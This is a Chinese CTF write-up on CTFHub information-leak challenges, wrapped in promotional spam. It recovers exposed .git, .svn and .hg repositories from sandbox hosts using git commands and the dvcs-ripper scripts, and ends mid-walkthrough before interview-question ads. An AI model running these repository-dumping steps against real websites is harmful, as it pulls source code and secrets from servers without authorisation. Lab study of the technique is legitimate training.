Web解题2 信息泄露 ( CTFHub ) - ctf，搞懂开源框架设计思想真的这么重要吗

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）

正文

命令行输入git log 查看修改人id
git diff id_前6位字符
回车，即可得flag。

Stash

GitHack的流程和上一题一样。
cd 到dist/challenge-0437d8a863914b85.sandbox.ctfhub.com_10800文件中。
git stash list: 发现存在stash
git stash pop: pop出一个.txt文件
cat .txt 得到flag。

Index

解题流程和第一题一样。

妈呀，没金币了。

不做了不做了。

SVN泄露

💡 windows环境下：

已经下载了dvs到了F:

perl已经下载，配置了环境变量。

但是运行报错，缺少很多依赖包。遂转战VMWare的Kali 。

┌──(kali㉿kali)-[~]
└─$ sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

┌──(kali㉿kali)-[~/hacktool]
└─$ cd dvcs-ripper

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ ls -al
total 92
drwxr-xr-x 2 kali kali 4096 Feb 29 11:41 .
drwxr-xr-x 3 kali kali 4096 Feb 29 11:41 …
-rw------- 1 kali kali 164 Feb 28 22:40 .gitignore
-rw------- 1 kali kali 18367 Feb 28 22:40 LICENSE
-rw------- 1 kali kali 5770 Feb 28 22:40 README.md
-rw------- 1 kali kali 4018 Feb 28 22:40 hg-decode.pl
-rw------- 1 kali kali 6633 Feb 28 22:40 rip-bzr.pl
-rw------- 1 kali kali 4915 Feb 28 22:40 rip-cvs.pl
-rw------- 1 kali kali 15672 Feb 28 22:40 rip-git.pl
-rw------- 1 kali kali 6327 Feb 28 22:40 rip-hg.pl
-rw------- 1 kali kali 6381 Feb 28 22:40 rip-svn.pl

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ ls
LICENSE README.md hg-decode.pl rip-bzr.pl rip-cvs.pl rip-git.pl rip-hg.pl rip-svn.pl

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ perl rip-svn.pl -u http://challenge-436df27ed95213e0.sandbox.ctfhub.com:10800/.svn/
[i] Found new SVN client storage format!
REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
[i] Trying to revert the tree, if you get error, upgrade your SVN client!
Reverted ‘index.html’

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ tree .svn
.svn
├── entries
├── format
├── pristine
│ ├── bf
│ │ └── bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
│ └── f2
│ └── f21a3124b9a8bc5ad682b2d6c0bce356d85b577b.svn-base
├── text-base
├── tmp
├── wc.db
└── wc.db-journal

6 directories, 6 files

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ cat .svn/pristine/bf/bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base

<html>

<head>
    <meta charset="UTF-8" />
    <title>CTFHub 信息泄露 SVN</title>
</head>

<body>
    <h1>信息泄露 - Subversion</h1>
    <br/>
    <p>Flag 在服务端旧版本的源代码中</p>
</body>

</html>

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ cat .svn/pristine/f2/f21a3124b9a8bc5ad682b2d6c0bce356d85b577b.svn-base
ctfhub{ad260a295fdf50f420fd2c97}

发现flag。

HG泄露

解题过程同上一题。

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ perl rip-hg.pl -u http://challenge-e6578c7d0a8df3df.sandbox.ctfhub.com:10800/.hg/
[i] Getting correct 404 responses
cannot find hg: No such file or directory at rip-hg.pl line 140.

perl [-u] :
使用utf-8编码来处理输入和输出。

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ ls -al
total 104
drwxr-xr-x 4 kali kali 4096 Feb 29 11:59 .
drwxr-xr-x 3 kali kali 4096 Feb 29 11:41 …
-rw------- 1 kali kali 164 Feb 28 22:40 .gitignore
drwxr-xr-x 3 kali kali 4096 Feb 29 12:01 .hg
drwxr-xr-x 5 kali kali 4096 Feb 29 11:44 .svn
-rw------- 1 kali kali 18367 Feb 28 22:40 LICENSE
-rw------- 1 kali kali 5770 Feb 28 22:40 README.md
-rw------- 1 kali kali 4018 Feb 28 22:40 hg-decode.pl
-rw-r–r-- 1 kali kali 221 Feb 29 11:44 index.html
-rw------- 1 kali kali 6633 Feb 28 22:40 rip-bzr.pl
-rw------- 1 kali kali 4915 Feb 28 22:40 rip-cvs.pl
-rw------- 1 kali kali 15672 Feb 28 22:40 rip-git.pl
-rw------- 1 kali kali 6327 Feb 28 22:40 rip-hg.pl
-rw------- 1 kali kali 6381 Feb 28 22:40 rip-svn.pl

上上条指令输出not found可能是下载不完全，还是生成了.hg文件的。打开，发现两个.txt文件，挨个curl过去，看是否返回flag。

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ tree .hg
.hg
├── 00changelog.i
├── dirstate
├── last-message.txt
├── requires
├── store
│ ├── 00changelog.i
│ ├── 00manifest.i
│ ├── data
│ ├── fncache

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！

王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。

对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！

【完整版领取方式在文末！！】

93道网络安全面试题